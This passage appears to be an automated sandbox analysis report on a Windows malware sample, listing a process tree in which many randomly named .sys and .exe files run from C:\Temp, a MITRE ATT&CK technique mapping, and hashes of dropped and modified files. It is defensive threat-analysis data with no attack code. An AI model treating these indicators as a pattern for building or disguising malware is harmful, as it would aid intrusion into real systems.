      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4292,i,8511567828494391015,2139107218758094038,524288 --field-trial-handle=2556,i,5953689280954248045,13599629623482528022,262144 --variations-seed-version --mojo-platform-channel-handle=4288 /prefetch:14
      4⤵
      PID:4848
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.26100.1301 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=6204,i,8333707230800763208,16418747422508277900,262144 --field-trial-handle=2556,i,5953689280954248045,13599629623482528022,262144 --variations-seed-version --mojo-platform-channel-handle=6436 /prefetch:10
      4⤵
      PID:4460
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3248,i,9876198574524421656,10786954764781721757,524288 --field-trial-handle=2556,i,5953689280954248045,13599629623482528022,262144 --variations-seed-version --mojo-platform-channel-handle=3252 /prefetch:14
      4⤵
      PID:5712

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:3572

C:\Temp\gdywqoigdyvqoigd.sys
C:\Temp\gdywqoigdyvqoigd.sys
1⤵
- Executes dropped EXE
PID:4124

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start
1⤵
PID:1404

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k GPSvcGroup
1⤵
PID:2096

C:\Temp\vtnlfdaysq.sys
C:\Temp\vtnlfdaysq.sys
1⤵
- Executes dropped EXE
PID:5436

C:\Temp\nhfaxspnhf.sys
C:\Temp\nhfaxspnhf.sys
1⤵
- Executes dropped EXE
PID:1616

C:\Temp\kfcxvpnhfz.sys
C:\Temp\kfcxvpnhfz.sys
1⤵
- Executes dropped EXE
PID:4208

C:\Temp\xrpjhczurp.sys
C:\Temp\xrpjhczurp.sys
1⤵
- Executes dropped EXE
PID:3224

C:\Temp\ezwrpjhbzx.sys
C:\Temp\ezwrpjhbzx.sys
1⤵
- Executes dropped EXE
PID:3732

C:\Temp\ywuomgebwt.sys
C:\Temp\ywuomgebwt.sys
1⤵
- Executes dropped EXE
PID:5032

C:\Temp\ebztrojgey.sys
C:\Temp\ebztrojgey.sys
1⤵
- Executes dropped EXE
PID:4132

C:\Temp\bytrljdbvt.sys
C:\Temp\bytrljdbvt.sys
1⤵
- Executes dropped EXE
PID:576

C:\Temp\tqlidavsql.sys
C:\Temp\tqlidavsql.sys
1⤵
- Executes dropped EXE
PID:4456

C:\Temp\qcausnkfdx.sys
C:\Temp\qcausnkfdx.sys
1⤵
- Executes dropped EXE
PID:2684

C:\Temp\vsqkhfdxus.sys
C:\Temp\vsqkhfdxus.sys
1⤵
PID:5696

C:\Temp\xrpkhcausm.sys
C:\Temp\xrpkhcausm.sys
1⤵
PID:3752

C:\Temp\kebzwuomjh.sys
C:\Temp\kebzwuomjh.sys
1⤵
PID:5496

C:\Temp\uomzwrpmge.sys
C:\Temp\uomzwrpmge.sys
1⤵
PID:4504

C:\Temp\dbwtrljebw.sys
C:\Temp\dbwtrljebw.sys
1⤵
PID:3428

C:\Temp\mgeywqoigb.sys
C:\Temp\mgeywqoigb.sys
1⤵
PID:1236

C:\Temp\igayvqnljd.sys
C:\Temp\igayvqnljd.sys
1⤵
PID:6060

C:\Temp\ysqkifaysq.sys
C:\Temp\ysqkifaysq.sys
1⤵
PID:3804

C:\Temp\kidavsnlfd.sys
C:\Temp\kidavsnlfd.sys
1⤵
PID:3136

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Time Discovery

T1124

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

bztrmjecwu.exe

Path C:\Temp\bztrmjecwu.exe
Size 361KB
SHA256 9b77dfdc3e14335e1ad877c7644f9e376f0b86deccac1a8ad833da88022ee186
MD5 346e75e3bf6e1da8cae91f640b55a4c8
SHA1 319bc66a5a80bd357017bfcd23502bfc8af0d368
SHA512 7a675c070784e483d3c2e3cb0119ce70621ccffa4ff46b77449d2daa9ff0952ec764e571af0343eae1c58b2a2981d458a4d85c2c1a2f235de0c68081bb563dd8
SSDEEP 6144:8flfAsiL4lIJjiJcbI03GBc3ucY5DCSjX:8flfAsiVGjSGecvX
TLSH
T1EB747C04BAA4F0F6DD95047800EBAF36967EB4281726CBC7E354CE5D99113C3A9346AF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ezwrpjhbzx.sys

Path C:\Temp\ezwrpjhbzx.sys
Size 293KB
SHA256 e093ee8616b61ed944aef2a29ac878378c3ea92a2bbd3c0330820a27c03dcd28
MD5 516121ead3d8d0e8d7ed3d5b042dea0f
SHA1 e28d4bb93e0983d44b6b91ca4ee47ea46c71af90
SHA512 b326b2fa4a91a2e231caf7e101cb2e5f4a5ba0c2380c38d024e3afed4ddf61625b83bfcfcf7ac54161432695a832ff1310443f022d3babf1dbd07af0180f34b8
SSDEEP 3072:atKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx9pypSwbYtlZ9EdV:aIJjiJcbI03GBc3ucY5DCSj
TLSH
T13C545B44AAA4B0F6D9D5043C01EFAF3A967EB4281726CBC3E354CE5D99017C7A93069F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

faxspkifdx.exe

Path C:\Temp\faxspkifdx.exe
Size 361KB
SHA256 89b8bd6ed7eaa286e31d77c3e0f7767d729eb4fcf48201ee8b2bd9751e584243
MD5 96373202840cf77072a0ace7c82ceb72
SHA1 bf9d931f71f368e238ef573b21a5b220b5d87c34
SHA512 3c4a5300a2c8844fc231476bd5ca8e83a714480183a24c54bfaa55f72f80e8ce51affbab4d67575ad5d5702ba65a6628ed11d38ac6ca491b7edbe4f90284fcc9
SSDEEP 6144:2flfAsiL4lIJjiJcbI03GBc3ucY5DCSjX:2flfAsiVGjSGecvX
TLSH
T1CB747C04BAA4F0F6DD95047800EBAF36967EB4281726CBC7E354CE5D99113C3A9346AF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

gdywqoigdyvqoigd.exe

Path C:\Temp\gdywqoigdyvqoigd.exe
Size 361KB
SHA256 6088ab51c2b6e4fe9ae1a1906224d2b65d390b9ed7fdccda75ba6c350b8bdd94
MD5 4c0ad556aa95ee32bd54a4345effc420
SHA1 924b3dc3fcc8bb737b5ad5909c5307c13f1c4073
SHA512 e794df1a7a2f31ec234b99ab21c958e58552711428bdd5884f1478b668bdb8f44305a2bb3f8e716425cd2a4032b57339fe18247d8c4b2fea7bdba7fced42bd14
SSDEEP 6144:bflfAsiL4lIJjiJcbI03GBc3ucY5DCSjX:bflfAsiVGjSGecvX
TLSH
T14A747C04BAA4F0F6DD95047800EBAF36967EB4281726CBC7E354CE5D99113C3A9346AF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

gdywqoigdyvqoigd.sys

Path C:\Temp\gdywqoigdyvqoigd.sys
Size 293KB
SHA256 bc030cdc2e38612095e771f7143ed8fbeb56ca8a81338552d0214c21febd69a6
MD5 17c391e47ba6e7283e16472fa59b04ee
SHA1 8c1bdce061bd235e4aa82bae671cde09d251e097
SHA512 ef179405dfa0f025024c4f9de5dfb04e29cb3239ba33d212d6554f161292c3df7065e5283f4551dd78d14af805d6fee68b373a0254a6d4cc09cefbbf4aded0c7
SSDEEP 3072:vtKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx9pypSwbYtlZ9EdV:vIJjiJcbI03GBc3ucY5DCSj
TLSH
T1C8545B44AAA4B0F6D9D5043C01EFAF3A967EB4281726CBC3E354CE5D99017C7A93069F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

i_faxspkifdx.exe

Path C:\Temp\i_faxspkifdx.exe
Size 361KB
SHA256 dc231434956f67abbb9d9845f244be1a55ef6ba486889a131b042d51ac145e2f
MD5 a20dd9cf4e5978f3090d9d6a6a340a60
SHA1 3988bcbcf0f59465a49d9118e5eddae1d1e34db3
SHA512 65a44f4d448c66f3fba89ff2fdb99c4189c30147f8fefbcc2534e5945eb4b765fa96ff506732062f5f683a8b8ab7f0e1e9f8770fc73ef9590a0de7c20a8e6c28
SSDEEP 6144:zflfAsiL4lIJjiJcbI03GBc3ucY5DCSjX:zflfAsiVGjSGecvX
TLSH
T19B747C04BAA4F0F6DD95047800EBAF36967EB4281726CBC7E354CE5D99113C3A9346AF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

i_kigaysqkid.exe

Path C:\Temp\i_kigaysqkid.exe
Size 361KB
SHA256 53d3529a1e6cfe99c3bf20456023ae01f2e39f827252781f8c16115b8c94e788
MD5 b83b777f3a0e130f35421f142d64fd39
SHA1 c1619a55a734b8b396e16a7d2356ef86907bdd50
SHA512 817ca403f648177d9b55bfeed6156d3063a5bcacb3607716e1b7d086a516b7966d7ccec87644eed5babb3f0369ef1ee84997e7b3bfbaf5f6d923a25883f0ed37
SSDEEP 6144:cflfAsiL4lIJjiJcbI03GBc3ucY5DCSjX:cflfAsiVGjSGecvX
TLSH
T1DB747C04BAA4F0F6DD95047800EBAF36967EB4281726CBC7E354CE5D99113C3A9346AF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

i_lgdyvtnidy.exe

Path C:\Temp\i_lgdyvtnidy.exe
Size 361KB
SHA256 fd48576244624bdda441d4317830876282ef930d0b9a7404a5dbb6eb4f56a740
MD5 bda204afa3850023924d90614bd6a1b2
SHA1 d2d513752ceaf5006edd0857a098797a71b10b81
SHA512 e3490670a2cf3690e8500e0dffb0f75d5d80a51a3c702f3a57eb9ddeb81a86a87387c850018498dab6ff1dd1f9a0455314cf7c74a36bd9ebbb2af67c12dabb5f
SSDEEP 6144:EflfAsiL4lIJjiJcbI03GBc3ucY5DCSjX:EflfAsiVGjSGecvX
TLSH
T1F0747C04BAA4F0F6DD95047800EBAF36967EB4281726CBC7E354CE5D99113C3A9346AF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

i_pmkecaurpm.exe

Path C:\Temp\i_pmkecaurpm.exe
Size 361KB
SHA256 b8a9035f4f92b133c16bef346249c475712b99770ffd9dead7fc7de4d5cbdaf2
MD5 f13883d03ebb87d355fac2f7442e794d
SHA1 a9b217868b0392a5207d89b15196f379a8651e79
SHA512 5cd51d5f9009e528d5bf1635e39cf5f563b6535e42eed0d2ea2fa838a156bde3fff881ad9da65ddbf12c969fb9814583bbae4c0d90c79860604b43b4af10fcd9
SSDEEP 6144:wflfAsiL4lIJjiJcbI03GBc3ucY5DCSjX:wflfAsiVGjSGecvX
TLSH
T1B4747C04BAA4F0F6DD95047800EBAF36967EB4281726CBC7E354CE5D99113C3A9346AF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

i_zxspkhcaus.exe

Path C:\Temp\i_zxspkhcaus.exe
Size 361KB
SHA256 0eda013f03b8d25bf22a59d7c9db7072b0e4213428e5cd5e15e3db55184b705c
MD5 ed42d72d0c435ae5b1d09365e7e49642
SHA1 bec4a3d37c2a09a0b5d5e276a2c81ac376a6cfd3
SHA512 7a92c0474577a216aa4495c874215c2f012f56f0ffeceeef54d3a7e1a7762f0640e3dc9b6183f99e67b0e58fdc316e80e8ffceba2ec941ffba69612576232869
SSDEEP 6144:bflfAsiL4lIJjiJcbI03GBc3ucY5DCSjX:bflfAsiVGjSGecvX
TLSH
T187747C04BAA4F0F6DD95047800EBAF36967EB4281726CBC7E354CE5D99113C3A9346AF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

kfcxvpnhfz.sys

Path C:\Temp\kfcxvpnhfz.sys
Size 293KB
SHA256 26a9f185e8f84ec08888e728b9cf43c052abc62bbc9d85f11b6e650b1a5c91e7
MD5 07599dc000f3edb3f860b0bdca511942
SHA1 9be386422b43ba57ff680aa910b669f509be1572
SHA512 84ca96071085cea0c84b534733167529810072249a85b96c1723a88d9f10abd6d4fe12ab48632a660c851cd28b3647e984de07a33bb75dc912dd9ae896257f62
SSDEEP 3072:BtKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx9pypSwbYtlZ9EdV:BIJjiJcbI03GBc3ucY5DCSj
TLSH
T11E545B44AAA4B0F6D9D5043C01EFAF3A967EB4281726CBC3E354CE5D99017C7A93069F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

kigaysqkid.exe

Path C:\Temp\kigaysqkid.exe
Size 361KB
SHA256 80cab1b746a47b793cbe380d0f954c63785664c846b19ab8a77294ad48f1d2f6
MD5 ce536f3f73c108932f96da886eb42392
SHA1 2c5c9c80f0489fd9cacb8823b86f9ef706437abc
SHA512 484ab82afdc94ba0046bfcf5c6e40c22c69cbbf4d064e82b4fc49c09d861ab193fb8c47d22da4fd99962cc37ecaaa61b128c238c62493a3bd4acb45ada1eb21f
SSDEEP 6144:3flfAsiL4lIJjiJcbI03GBc3ucY5DCSjX:3flfAsiVGjSGecvX
TLSH
T150747C04BAA4F0F6DD95047800EBAF36967EB4281726CBC7E354CE5D99113C3A9346AF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

lgdyvtnidy.exe

Path C:\Temp\lgdyvtnidy.exe
Size 361KB
SHA256 276c20c40ab4242edc1d0048684656aafc1c38b73d39e05adc5a45560b214662
MD5 23d1cc751ba23dc8a3182309faf95474
SHA1 17ba3b4f3507d38d3b0a6a86ed46a1fefad4f4cb
SHA512 8aa1b1be77592dfdd3e831efeb44c9746041b88c6d02a25c2bee89bd1e40647a2911042beb00839d0397f7a007ea7f7376afa5fdc17d36ccb4445cdff4e5eb9b
SSDEEP 6144:EflfAsiL4lIJjiJcbI03GBc3ucY5DCSjX:EflfAsiVGjSGecvX
TLSH
T1F2747C04BAA4F0F6DD95047800EBAF36967EB4281726CBC7E354CE5D99113C3A9346AF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

nhfaxspnhf.sys

Path C:\Temp\nhfaxspnhf.sys
Size 293KB
SHA256 3741034fd0e94658e6f21832e851f83739be47c93f8c88574f9a0b51725664eb
MD5 74618c17afe6da04df4994bb7efa3580
SHA1 53a60820b75e79efbb58594f4fc3c55a52b9ea14
SHA512 face0e4de999274d93b811b6b9656cb35e810dde4a6cc0e30175e0c3b88e29a9943dd804910c5c6d7f3873ade9dd6c673bd3ac3dfb10529d3aa9c1ff43237124
SSDEEP 3072:htKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx9pypSwbYtlZ9EdV:hIJjiJcbI03GBc3ucY5DCSj
TLSH
T12E545B44AAA4B0F6D9D5043C01EFAF3A967EB4281726CBC3E354CE5D99017C7A93069F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

pmkecaurpm.exe

Path C:\Temp\pmkecaurpm.exe
Size 361KB
SHA256 dac33c7b865f212ff094853a4bf1b798ef4570fecc2cad7e65e382fbbce1c610
MD5 867d160b4da3b7111353b28e63482a25
SHA1 51db28750ad455ecb81a888ce39e68d69bf487ad
SHA512 6e84a03490b19f3166bf07ed0403584b8a78664b9bc48aad3ea650b9f9f8cf5ddd354fa543fb340ff1653e73cbd34f1b8bcae66f6919f87a82f9f97e066b7041
SSDEEP 6144:jflfAsiL4lIJjiJcbI03GBc3ucY5DCSjX:jflfAsiVGjSGecvX
TLSH
T165747C04BAA4F0F6DD95047800EBAF36967EB4281726CBC7E354CE5D99113C3A9346AF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

vtnlfdaysq.sys

Path C:\Temp\vtnlfdaysq.sys
Size 293KB
SHA256 e0345803a9a876a57ba8c7d7f8948c9b64542f8a1a934886253db2e8d67a0e57
MD5 7a2debd1b4fde3321d1cdd3d2a6e27e7
SHA1 a1008c02c563b601173f1b96fcab5b93edacf089
SHA512 c966fd56b3dfc3a4e9128a6b4b426cb790af97fa62c61d440a5e543508a0119ffb674cd13fb59692300afce4e62aea45d83376c526163f09e6ce7da7d92daf05
SSDEEP 3072:StKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx9pypSwbYtlZ9EdV:SIJjiJcbI03GBc3ucY5DCSj
TLSH
T139545B44AAA4B0F6D9D5043C01EFAF3A967EB4281726CBC3E354CE5D99017C7A93069F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

xrpjhczurp.sys

Path C:\Temp\xrpjhczurp.sys
Size 293KB
SHA256 781dbdbdb829a07313e604c0aab489a69847bf7968084ed4bdf84480386fcca8
MD5 1a9f827a14c5ac68e82df4fa3f713441
SHA1 6d0dd71473dd84b466d7497a44a4b3193cbed6e7
SHA512 89ae5e9fc1208ec3f5bf015184478dc552ce7c71fdc482815ea79298063ed10cd06620bc52cc1aba09724aceb5cffcecdb4671eb268b141a8c6e2b83160a7ca1
SSDEEP 3072:etKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx9pypSwbYtlZ9EdV:eIJjiJcbI03GBc3ucY5DCSj
TLSH
T1A4545B44AAA4B0F6D9D5043C01EFAF3A967EB4281726CBC3E354CE5D99017C7A93069F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

zxspkhcaus.exe

Path C:\Temp\zxspkhcaus.exe
Size 361KB
SHA256 0195a1853e952e761eed17435d81b28ed05d6f10183bede9c99492d55955f40f
MD5 8f81f294bf3e858caa933846dc5144a7
SHA1 442bb36db6adb13b1979d31d45dab77c41194eb1
SHA512 41a694904715916115f11489168384253c3c6b98ac21cd94391d3cce42c68c02ce8255cfec9c0d00a71e606074159fe949af61a5dbfa875665d25c4a88f94703
SSDEEP 6144:hflfAsiL4lIJjiJcbI03GBc3ucY5DCSjX:hflfAsiVGjSGecvX
TLSH
T1CA747C04BAA4F0F6DD95047800EBAF36967EB4281726CBC7E354CE5D99113C3A9346AF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

706d926b-7757-4b5a-ae79-117d7c3ceb8a.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\706d926b-7757-4b5a-ae79-117d7c3ceb8a.tmp
Size 38KB
SHA256 5fbfad3733a40e33472cca45624cb55c55be821114113596b36f3882e2fbc5c1
MD5 da8432a3cb1847629a5628607ec09144
SHA1 ca5207ebf1f932402579a1a9a95af8ec24b0afd6
SHA512 a1f4320f172f5d7fcbe7caebd34ca04ae81894aa699d46802a5cb1c2d791371b1dc93a03e1cf3ad35e10754a47e005b3570d89058cb0fc6469c40420633eba50
SSDEEP 768:6rv+4UNbds3pLDZIO0VJNzc4ReyIsXveVH1S5D:6bsbS3Stc44bs/EH1Y
TLSH
T17903CF32E8788977ACF66786B14B75533EF8912782D81B90C9DE6F0C4A4B1DD131B923
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 8aaa68aad07ba45abe53bd513aa5f7e7b21bd1b29db6e1d5c1e0a79a5f4eb890
MD5 74012bbce5fada7634c1da1b567562b3
SHA1 09db27f38f27e35986cfd407b57f6f83c8fc59f8
SHA512 c1a6a98f972793c84274c29552107bfe07b775c7c8121e5fdf137ebf9a7cc3f4eb43fe9eadfc842e7b92ca7281bbcea3d660bdd8fc9adc56add068510c41e48d
TLSH
T1FBD02BE07640890CC980203335F75240920189108401D1480040F335CC845C1257E0CF
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 e413e02b9e80ee8d76d52c1043fc32251e2d7634d4b2fbd970df9ace9d91831a
MD5 22959b3a06a842ac30237dd57e8a3801
SHA1 0b7c28071a592034aa2607038000f085c7bb6362
SHA512 644add9ab912ad7fdfc55bc7a1b84482c75cc9bc69a59d169bae63a0400619d999846ebbadb0ef2bd6d35c2bd08a5f07053b600874dd5dfcbda7e8f3076131fe
TLSH
T1A5D02BE476408A0CC980203335F6524092018910D801D1480040B325CC845C1257F0DF
MD5 SHA1 SHA512 TLSH

Submit Download

BookmarkMergedSurfaceOrdering

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\BookmarkMergedSurfaceOrdering
Size 6B
SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
MD5 377d072e137022223a370760763420bb
SHA1 534e5f914ae99bf0a342a2f7a7e0724bd0d11ef7
SHA512 d1e37e45e8d603c46c9254d7295744104222b09340246c5e5f50d661d4688ccc2068adf1e0cd78599bcdcf475f8a0a6255dcd3e429812aa14cc2e2022309955c
MD5 SHA1 SHA512

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index
Size 2KB
SHA256 4000121c54ad8359e289c6703e8222ac38fb610fb45bd56158e264b8bf49bc2d
MD5 23c15da88594fd93c3f529902b93c874
SHA1 634296efc114ca83f11d10fa1e3e197ffa48068d
SHA512 4b38a8ee5f96b3c6c3ca739f04f3a3a6907473f0267a864e1ffb8dce6ee141da65677b4eae9ccf30344c723b16c63ca5402b90c9e86a022e3f806b7bcc8695f9
TLSH
T1BA51409D433B2BC9D7654AB56CE0D78A3FB8DBAD018B7E136C546E7C2A9634851100F3
MD5 SHA1 SHA512 TLSH

Submit Download

SiteList-Enterprise.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\DualEngine\SiteList-Enterprise.json
Size 2B
SHA256 44136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a
MD5 99914b932bd37a50b983c5e7c90ae93b
SHA1 bf21a9e8fbc5a3846fb05b4fa0859e0917b2202f
SHA512 27c74670adb75075fad058d5ceaf7b20c4e7786c83bae8a32f626f9782af34c9a33c2046ef60fd2a7878d378e29fec851806bbd9a67878f3a9f1cda4830763fd
MD5 SHA1 SHA512

Submit Download

Edge Profile.ico

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Edge Profile.ico
Size 70KB
SHA256 31a226211c491e1b0832d4cd3cf34d97165e24a7ce4ec655259cd188f3a2bd88
MD5 efe54a870e0f5ff28d7e00036b861065
SHA1 10663a71c9815382ca5a1689dfcebe737c557b1d
SHA512 4d7ed9d3e22a58f0e169c9200e351d3a938c82ab7920567f67bf29d33b28192329ea05657d1077aebaf2c2b5151eb50c84e5ab590733ff824389566d93381c01
SSDEEP 1536:fAlMWz7vLDtDSVlXXwpFlorgLUxF+nubjUDSlBczkF1D/u1:fvuWAUxFDbY+0zkjDG1
TLSH
T1DA639F406A6479E8E814CBF59C69B7D30B95CFDC51A252E831F4FE7AB681494C90CFC4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State
Size 1KB
SHA256 890d6fd2a19f11a6bbb62ac7c4b678aed43e9303db947b24f03f6b13e58403f5
MD5 623bae6cd7a03c66dee364131b2a9853
SHA1 1d7b3f23cb676d6727c2d333210c7d76922ca0f6
SHA512 e1e59df2af31ed2b09a601db9061b36d647eac772967cfe9c3ded9d800e5aa5986f2f97b280754a9d96aae2b724a4f4308119e5f1c0d1115ade89eb5cf9fd509
TLSH
T17F41C1F7C3E4966D890156F0AA147E2BCE1D0914432C3D6AC9E4AF5B93E2471E141A5F
MD5 SHA1 SHA512 TLSH

Submit Download

SCT Auditing Pending Reports

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports
Size 2B
SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
MD5 d751713988987e9331980363e24189ce
SHA1 97d170e1550eee4afc0af065b78cda302a97674c
SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
MD5 SHA1 SHA512

Submit Download

Sdch Dictionaries

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Sdch Dictionaries
Size 40B
SHA256 6028bd681dbf11a0a58dde8a0cd884115c04caa59d080ba51bde1b086ce0079d
MD5 20d4b8fa017a12a108c87f540836e250
SHA1 1ac617fac131262b6d3ce1f52f5907e31d5f6f00
SHA512 507b2b8a8a168ff8f2bdafa5d9d341c44501a5f17d9f63f3d43bd586bc9e8ae33221887869fa86f845b7d067cb7d2a7009efd71dda36e03a40a74fee04b86856
MD5 SHA1 SHA512

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 11KB
SHA256 d8d44f73aa09051927ac39b9706867e56b1d878307de032119fc6eb3aa8a2e99
MD5 fe64bb2dbf72db98b4cd9f9df65e6ebb
SHA1 c73f0acbc037fbc2f919c0f199e3d0250fba462c
SHA512 0d24100511b132ca1f67953353095241551942470222abfed76f7643f1cf5131f93a18a9cbe0bc46298eca28a60c6830143318fee67e732a1a63a36885a2b0a3
SSDEEP 192:sxROrCp/fJsxSfprQ5VzoA8p9b/g6+WNCki/YnW3hUGTIgtJ:sxROep/fJsxSfRJ/50/XR73
TLSH
T11F32B7166D68AC3B5CC7E219BB55BF53D2F9603261D12E48E7FC8B0C04EA6DD220780B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 11KB
SHA256 e0d2327795439a16853e75d92fab83d143bfe0db33a249431d99eb357dba2008
MD5 3be07e9b7b375296c636f80c3007d254
SHA1 4f5b91a04f3b0ce10e1318b1ec39c934b6a17e95
SHA512 dea52182daf81941fec549d986d95c2e39a98bcc0799e1707e4fd88372c5826d4b017aa3cbcef2e5432a5b0a3f00c4b31a0db97591d6c4e2d35f32340991d036
SSDEEP 192:sxRZrCp/fJs4pfRZLzoA8p9b/g6+WNCki/YnWCfThUGTIgDUJ:sxRZep/fJs4pf/qJ/50/XC97M
TLSH
T16742B7166D28AD7B9CCAE209BA557F53D2F95032A1D12E48F7FC871C04EB6CD220780B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 11KB
SHA256 69ce9bbcd299b7aaada6f00fd59a87e1824a4ae2ad96ac78070b09ce852f1e57
MD5 d72f61901c1a6a9d0b4fa0a9e0893214
SHA1 8b06fbbe52a2c0697d34f86d4ec64bb1b93ccd13
SHA512 7ff2e9cfe3d59b47b1d08be5509b73b07585203c22d55e9881a44cf0eecbcc4bdd396fa4ec08e6b6bd774985294afc0d5113e017df5c239b19c0923ded960c5f
SSDEEP 192:sxRZrCp/fJs4SfRZLzoA8p9b/g6+WNCki/YnW3hUGTIgDiJ:sxRZep/fJs4Sf/qJ/50/XR7y
TLSH
T1CC32B6166E28A97B5CCAE209BA657F53D6F95032A1D12E48F7FC871C04EB6CD120780B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Secure Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences
Size 27KB
SHA256 e7d277fdd1e994aaf6a3de82c1a842220fb51dec90a31234cfdff54b7c2606e1
MD5 deaaaba52ee52b1887841c00f9a0f595
SHA1 11208b662a596844be5aced9706b89e8e9db34bd
SHA512 252ed9ae9c175424fccd1872ff612720c1b151e1f3527e350e3e87bd2772722b1813e3a58c600d4af086a1814e51c4673265dfb0c514ad58457492651420a0e4
SSDEEP 768:wb8dpg7pLuL7r6Wgouf6M8F1+UoAYDCx9Tuqh0VfUC9xbog/OVUu46nroh1Y5l:wb8dpsE7r6Wgouf6Mu1jatV608L
TLSH
T113C2DA7B740CCB7E4F800ADDE819BE9F6DA802CB5AD8CD4447FE951C02C6BEA51154DA
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

sync_diagnostic.log

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\Logs\sync_diagnostic.log
Size 4KB
SHA256 c0f5e731ab8168f1be1170a865230d066ffc2bd6cd412db3d6d8d17313ec528f
MD5 6a7d8715646df5cbf9208003beb0d9f6
SHA1 868f34fe7b32c0a98fd7ae642aee21d43114bf61
SHA512 8c1dcbeddd0a30eb71cde4629558b019fcc1c8d0b165d9f1da76a31122ab8d85a51f81e2c345fbc73114db184a3d91998f88fb64ec57b67eb102dc6394163e56
